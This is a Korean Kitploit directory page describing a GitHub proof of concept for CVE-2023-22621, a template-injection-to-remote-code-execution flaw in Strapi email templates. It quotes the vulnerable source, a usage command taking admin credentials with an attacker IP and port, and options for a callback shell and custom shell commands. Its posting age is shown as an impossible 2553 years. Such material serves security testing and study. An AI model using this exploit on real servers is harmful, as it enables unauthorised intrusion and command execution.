Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-22621-POC — CVE-2023-22621: 이메일 템플릿을 악용하여 Strapi 버전 <=4.5.5에 영향을 미치는 SSTI에서 RCE로 | Kitploit
도구/GitHubGitHub/sofianeelhor/cve-2023-22621-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubsofianeelhor/cve-2023-22621-poc

CVE-2023-22621-POC

CVE-2023-22621: 이메일 템플릿을 악용하여 Strapi 버전 <=4.5.5에 영향을 미치는 SSTI에서 RCE로

저장소 보기
2553년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-22621-POC

CVE-2023-22621: 이메일 템플릿을 악용한 SSTI에서 RCE로, Strapi 버전 <=4.5.5에 영향

sendTemplatedEmail 함수는 lodash 템플릿 엔진을 사용하여 이메일 템플릿을 HTML 콘텐츠로 렌더링하며, 이 엔진은 템플릿 내의 JavaScript 코드를 평가합니다. 참조: https://twitter.com/rootxharsh/status/1268181937127997446?lang=en

root@kitploit:~
'use strict';

const _ = require('lodash');

const getProviderSettings = () => {
  return strapi.config.get('plugin.email');
};

const send = async (options) => {
  return strapi.plugin('email').provider.send(options);
};

/**
 * fill subject, text and html using lodash template
 * @param {object} emailOptions - to, from and replyto...
 * @param {object} emailTemplate - object containing attributes to fill
 * @param {object} data - data used to fill the template
 * @returns {{ subject, text, subject }}
 */
const sendTemplatedEmail = (emailOptions = {}, emailTemplate = {}, data = {}) => {
  const attributes = ['subject', 'text', 'html'];
  const missingAttributes = _.difference(attributes, Object.keys(emailTemplate));
  if (missingAttributes.length > 0) {
    throw new Error(
      `Following attributes are missing from your email template : ${missingAttributes.join(', ')}`
    );
  }

POC

사용법

python3 CVE-2023-22621.py -url http://strapi.local:1337/ -u "[email protected]" -p "$Securep4ss" -ip 127.0.0.1 -port 4545

root@kitploit:~
options:
  -h, --help            show this help message and exit
  -url URL              URL of the Strapi instance
  -u U                  Admin username
  -p P                  Admin password
  -ip IP                Attacker IP
  -port PORT            Attacker port
  -url_redirect         URL to redirect after email confirmation
  -custom CUSTOM        Custom shell command to execute

크레딧

모든 크레딧은 원본 취약점 발견자에게 있으며, 그의 훌륭한 글은 여기에서 확인하세요.

도구 다운로드